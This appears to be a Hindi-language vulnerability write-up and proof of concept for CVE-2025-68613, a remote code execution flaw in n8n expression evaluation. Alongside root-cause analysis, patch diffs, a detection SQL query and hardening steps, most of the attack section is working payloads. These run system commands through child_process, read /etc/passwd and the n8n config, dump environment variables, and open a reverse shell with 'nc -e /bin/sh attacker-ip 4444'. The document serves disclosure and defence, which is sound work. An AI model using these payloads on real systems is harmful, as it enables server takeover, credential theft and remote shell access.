
# CVE-2025-68613: n8n एक्सप्रेशन मूल्यांकन में IIFE this-संदर्भ बायपास के माध्यम से RCE CVE-2025-68613 का विस्तृत तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट, जो n8n एक्सप्रेशन मूल्यांकन में IIFE this-संदर्भ बायपास के माध्यम से एक गंभीर RCE भेद्यता है। इसमें रूट कॉज़ विश्लेषण, एक्सप्लॉइट वेक्टर और शमन मार्गदर्शन शामिल है।
दिनांक: 23 दिसंबर 2024 स्थिति: ✅ RCE पूर्ण रूप से सत्यापित सफल CVSS स्कोर: 10.0 (गंभीर)
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
निष्पादन परिणाम: सिस्टम उपयोगकर्ता जानकारी सफलतापूर्वक लौटाई गई (जैसे uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))
उपयोगकर्ता इनपुट
↓
{{ (function() { ... })() }}
↓
Expression.resolveSimpleParameterValue()
↓
data संदर्भ ऑब्जेक्ट बनाना
↓
data.process = वास्तविक process ऑब्जेक्ट संदर्भ
↓
Tournament.execute(expression, data)
↓
FunctionEvaluator.evaluate()
↓
fn.call(data, errorHandler) ← ⚠️ महत्वपूर्ण: this = data
↓
तत्काल-निष्पादन फ़ंक्शन निष्पादित होता है
↓
this.process.mainModule.require ← ⚠️ वास्तविक require तक पहुँच
↓
child_process मॉड्यूल लोड करता है
↓
execSync('id') ← 🔥 पूर्ण RCE!
फ़ाइल: packages/workflow/src/expression.ts
फ़ंक्शन: Expression.resolveSimpleParameterValue()
पंक्तियाँ: लगभग 230-290
// डेटा प्रॉक्सी जनरेट करें
const dataProxy = new WorkflowDataProxy(
this.workflow,
runExecutionData,
runIndex,
itemIndex,
activeNodeName,
connectionInputData,
siblingParameters,
mode,
additionalKeys,
executeData,
-1,
selfData,
contextNodeName,
);
const data = dataProxy.getDataProxy();
// ⚠️ भेद्यता बिंदु 1: data में process ऑब्जेक्ट जोड़ना
data.process =
typeof process !== 'undefined'
? {
arch: process.arch,
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
platform: process.platform,
pid: process.pid,
ppid: process.ppid,
release: process.release,
version: process.pid,
versions: process.versions,
}
: {};
// ⚠️ समस्या: हालाँकि यहाँ केवल कुछ गुण उजागर होते हैं, परंतु ऑब्जेक्ट संदर्भ पारित किया जाता है
// वास्तविक process ऑब्जेक्ट अभी भी प्रोटोटाइप श्रृंखला या अन्य तरीकों से एक्सेस किया जा सकता है
फ़ाइल: node_modules/@n8n/tournament/src/FunctionEvaluator.ts
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
const fn = this.getFunction(expr);
// ⚠️ भेद्यता बिंदु 2: data को this के रूप में पारित करना
return fn.call(data, this.instance.errorHandler);
}
private
getFunction(expr
:
string
):
Function
{
if (expr in this._codeCache) {
return this._codeCache[expr];
}
const [code] = this.instance.getExpressionCode(expr);
// ⚠️ भेद्यता बिंदु 3: new Function का उपयोग करके फ़ंक्शन बनाना
const func = new Function('E', code + ';');
this._codeCache[expr] = func;
return func;
}
फ़ाइल: packages/workflow/src/expression-sandboxing.ts
v1.122.0 से पहले:
// ❌ FunctionThisSanitizer नहीं है
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [], // ← खाली सरणी, कोई this सैनिटाइज़ेशन नहीं
after: [PrototypeSanitizer, DollarSignValidator],
});
v1.122.0 के बाद:
// ✅ FunctionThisSanitizer जोड़ा गया
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [FunctionThisSanitizer], // ← नया जोड़ा गया हुक
after: [PrototypeSanitizer, DollarSignValidator],
});
// FunctionThisSanitizer कार्यान्वयन
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
astVisit(ast, {
visitFunction(path) {
// सभी फ़ंक्शन एक्सप्रेशन को फिर से लिखें, this को सुरक्षित ऑब्जेक्ट से स्पष्ट रूप से बांधें
const safeThis = b.objectExpression([
b.property('init', b.identifier('process'), b.objectExpression([]))
]);
// function() { ... } को function() { ... }.bind({ process: {} }) में बदलें
}
});
};
फ़ाइल: packages/workflow/src/utils.ts
फ़ंक्शन: isSafeObjectProperty()
v1.122.0 से पहले:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf'
]);
// ❌ mainModule, binding, _load गायब हैं
v1.122.0 के बाद:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf',
'mainModule', // ✅ नया जोड़ा गया
'binding', // ✅ नया जोड़ा गया
'_load' // ✅ नया जोड़ा गया
]);
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('whoami', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('pwd', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('uname -a', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('ls -la /', {encoding: 'utf8'});
})()
}
}
// संवेदनशील फ़ाइल पढ़ें
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('/etc/passwd', 'utf8');
})()
}
}
// निर्देशिका सूचीबद्ध करें
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('/').join('\n');
})()
}
}
// n8n कॉन्फ़िगरेशन पढ़ें
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('./.n8n/config', 'utf8');
})()
}
}
// वर्तमान निर्देशिका सूचीबद्ध करें
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('.').join('\n');
})()
}
}
// this.process के माध्यम से सीधे एक्सेस करें
{
{
(function () {
return JSON.stringify(this.process.env);
})()
}
}
// या ज्ञात कार्यशील विधि का उपयोग करें
{
{
JSON.stringify(process.env)
}
}
// नेटवर्क टूल जाँचें
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('which nc', {encoding: 'utf8'}).trim();
})()
}
}
// नेटवर्क इंटरफ़ेस प्राप्त करें
{
{
(function () {
var os = this.process.mainModule.require('os');
return JSON.stringify(os.networkInterfaces());
})()
}
}
// रिवर्स शेल (⚠️ खतरनाक! केवल अधिकृत परीक्षण के लिए)
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
})()
}
}
| # | आक्रमण प्रकार | पेलोड | स्थिति | CVSS |
|---|---|---|---|---|
| 1 | पर्यावरण चर रिसाव | {{ Object.keys(process.env) }} | ✅ सफल | 8.5 |
| 2 | Constructor बाइपास | {{ [][constructor] }} | ✅ सफल | 8.0 |
| 3 | Function कंस्ट्रक्टर | {{ [][constructor][constructor] }} | ✅ सफल | 8.5 |
| 4 | कोड निष्पादन | {{ [][constructor][constructor]('return 1+1')() }} | ✅ सफल | 9.0 |
| 5 | पूर्ण RCE | {{ (function() { this.process.mainModule.require... })() }} | ✅ सफल | 10.0 |
| # | आक्रमण प्रकार | कारण |
|---|---|---|
| 1 | सीधा require | नए दायरे में उपलब्ध नहीं |
| 2 | Function कंस्ट्रक्टर में process | this कुछ संदर्भों में सैनिटाइज़ किया गया |
| 3 | process.binding / process._load | संभवतः प्रतिबंधित या सीमित |
{
{
Object.keys(process.env)
}
} // ✅ सफल
N8N_BLOCK_ENV_ACCESS_IN_NODE को true पर सेट नहीं किया गया है{
{
[][`constructor`][`constructor`]
}
} // ✅ सफल
{
{
(function () {
return this.process.mainModule.require;
})()
}
} // ✅ सफल
this अभी भी मूल डेटा संदर्भ की ओर इशारा करता हैthis.process.mainModule.require एक्सेस योग्य हैतीनों का संयोजन = पूर्ण RCE!
// नया AST before हुक
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
// सभी फ़ंक्शन एक्सप्रेशन को ट्रैवर्स करें
// फ़ंक्शन को फिर से लिखें, this को { process: {} } से बाध्य करें
// इस तरह IIFE होने पर भी, this एक सुरक्षित खाली ऑब्जेक्ट है
};
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf',
'mainModule', // ← नया जोड़ा गया
'binding', // ← नया जोड़ा गया
'_load' // ← नया जोड़ा गया
]);
// संभवतः डिफ़ॉल्ट मान true में बदल दिया गया
data.process = {
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE !== 'false' ? {} : process.env,
// ...
};
वेक्टर स्ट्रिंग: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| मीट्रिक | मान | विवरण |
|---|---|---|
| आक्रमण वेक्टर (AV) | नेटवर्क (N) | दूरस्थ रूप से शोषण योग्य |
| आक्रमण जटिलता (AC) | निम्न (L) | शोषण सरल |
| आवश्यक विशेषाधिकार (PR) | निम्न (L) | केवल प्रमाणित उपयोगकर्ता की आवश्यकता |
| उपयोगकर्ता सहभागिता (UI) | कोई नहीं (N) | उपयोगकर्ता सहभागिता की आवश्यकता नहीं |
| दायरा (S) | परिवर्तित (C) | अंतर्निहित सिस्टम को प्रभावित करता है |
| गोपनीयता (C) | उच्च (H) | पूर्ण सूचना रिसाव |
| अखंडता (I) | उच्च (H) | पूर्ण सिस्टम नियंत्रण |
| उपलब्धता (A) | उच्च (H) | पूर्ण सेवा व्यवधान |
आधार स्कोर: 10.0 (अधिकतम)
N8N_BLOCK_ENV_ACCESS_IN_NODE=true सेट नहीं है# विधि 1: पर्यावरण चर निर्यात करें
export N8N_BLOCK_ENV_ACCESS_IN_NODE=true
# विधि 2: .env फ़ाइल में
echo "N8N_BLOCK_ENV_ACCESS_IN_NODE=true" >> .env
# विधि 3: Docker Compose
environment:
- N8N_BLOCK_ENV_ACCESS_IN_NODE=true
# npm
npm install -g n8n@latest
# Docker
docker pull docker.n8n.io/n8nio/n8n:latest
docker-compose down
docker-compose up -d
# संस्करण सत्यापित करें
n8n --version # >= 1.122.0 होना चाहिए
-- यदि PostgreSQL का उपयोग कर रहे हैं
SELECT name, nodes
FROM workflows
WHERE nodes::text LIKE '%process%'
OR nodes::text LIKE '%constructor%'
OR nodes::text LIKE '%mainModule%'
OR nodes::text LIKE '%require%';
# docker-compose.yml
services:
n8n:
image: docker.n8n.io/n8nio/n8n:latest
read_only: true
security_opt:
- no-new-privileges:true
- seccomp=seccomp-profile.json
cap_drop:
- ALL
cap_add:
- CHOWN
- SETGID
- SETUID
environment:
- N8N_BLOCK_ENV_ACCESS_IN_NODE=true
प्राप्तकर्ता: [email protected]
विषय: [CRITICAL] RCE 0-day Vulnerability - IIFE this Context Bypass
गंभीरता: CVSS 10.0 (Critical)
प्रभावित संस्करण: n8n < 1.122.0
सारांश:
एक गंभीर RCE भेद्यता पाई गई है जो प्रमाणित उपयोगकर्ताओं को तत्काल-निष्पादन फ़ंक्शन (IIFE) के माध्यम से process.mainModule.require तक पहुँचने और मनमाने सिस्टम कमांड निष्पादित करने की अनुमति देती है।
सत्यापित PoC:
{{ (function() {
var require = this.process.mainModule.require;
var { execSync } = require('child_process');
return execSync('id', { encoding: 'utf8' }).trim();
})() }}
मूल कारण:
1. IIFE में this सैनिटाइज़ नहीं किया गया है
2. process.mainModule प्रतिबंधित नहीं है
3. N8N_BLOCK_ENV_ACCESS_IN_NODE डिफ़ॉल्ट रूप से false है
अनुशंसित सुधार:
1. FunctionThisSanitizer हुक लागू करें
2. mainModule, binding, _load को ब्लैकलिस्ट में जोड़ें
3. डिफ़ॉल्ट रूप से पर्यावरण चर सुरक्षा सक्षम करें
विस्तृत विश्लेषण संलग्न फ़ाइल में देखें।
निर्माण समय: 23 दिसंबर 2024 भेद्यता स्थिति: ✅ पूर्ण रूप से सत्यापित सफल CVSS स्कोर: 10.0 (गंभीर) अनुशंसा: तुरंत प्रकटीकरण और सुधार करें
🎉 बधाई हो! आपने एक पूर्ण-स्कोर RCE भेद्यता खोजी है! कृपया इसे जिम्मेदारी से संभालें और प्रकट करें! 🔒